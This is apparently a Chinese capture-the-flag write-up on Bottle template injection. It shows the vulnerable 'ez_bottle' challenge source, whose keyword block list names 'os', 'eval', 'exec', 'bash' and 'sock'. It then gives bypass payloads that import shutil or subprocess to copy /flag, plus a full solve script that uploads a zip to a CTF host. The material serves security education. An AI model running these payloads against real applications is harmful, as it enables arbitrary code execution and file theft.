Bottle是一个超轻量级的Python Web框架,具有简洁、高效和零依赖的特性。
static_file
函数简化静态资源托管
基于Bottle库的SSTI注入
Bottle内置了一个简单的模板引擎:
- 使用类似Python语法的模板标记
- 支持变量替换(
{{var}}
) - 支持控制结构(
%if
、%for
等) - 默认不提供严格的沙箱环境
版本区别
bottle<0.12:默认模板引擎几乎没有安全限制
- 允许访问几乎所有Python对象
- 没有严格的沙箱环境
可以轻松代码执行
bottle=0.12-0.13:开始引入基本安全限制默认禁用部分危险函数,但仍可通过某些方式绕过
- 基础表达式(如
{{7*7}}
)仍能工作
bottle>0.12:大幅增强模板安全性
- 强沙箱环境,默认不注入任何危险对象
- 即使存在SSTI,也很难执行危险操作
- 需要显式传递对象到模板上下文
漏洞发现
{{ }}
是唯一默认语法,但是%
可以使用,这主要和bottle.template()
有关
例题
ez_bottle
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]
def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)
def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000
def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)
@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)
@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)
@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'
if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'
zip_file.file.seek(0)
current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)
zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)
try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'
real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'
z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'
files = os.listdir(extract_dir)
files.remove('upload.zip')
return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if contains_blacklist(content):
return "you are hacker!!!nonono!!!"
try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"
@error(404)
def error404(error):
return "bbbbbboooottle"
@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."
if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)
黑名单:
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]
这里可以使用import导入库然后获取flag,有以下几种方式
方式1
% import shutil;shutil.copy('/flag', './aaa')
方式2
%import subprocess; subprocess.call(['cp', '/flag', './aaa'])
之后就可以include了
% include("aaa")
payload:
import requests
import re
import zipfile
base = "http://gz.imxbt.cn:20893"
zip_name = "web-ez-bottle.zip"
payload= r"% import shutil;shutil.copy('/flag', './aaa')"
def solve(base, zip_name, payload):
with open("2.txt","w") as f:
f.write(payload)
with zipfile.ZipFile(zip_name,"w") as zf:
zf.write('2.txt')
with open(zip_name,"rb") as f:
data = {"file": (zip_name, f, "application/zip")}
response = requests.post(url = f"{base}/upload?file={zip_name}",files=data)
print(response.text)
url = re.search(r"/view/[a-f0-9]+/2.txt",response.text).group(0)
viewurl = base+url
response_re = requests.get(viewurl)
print(response_re.text)
solve(base, zip_name, payload)
solve(base, zip_name, r"% include('aaa')")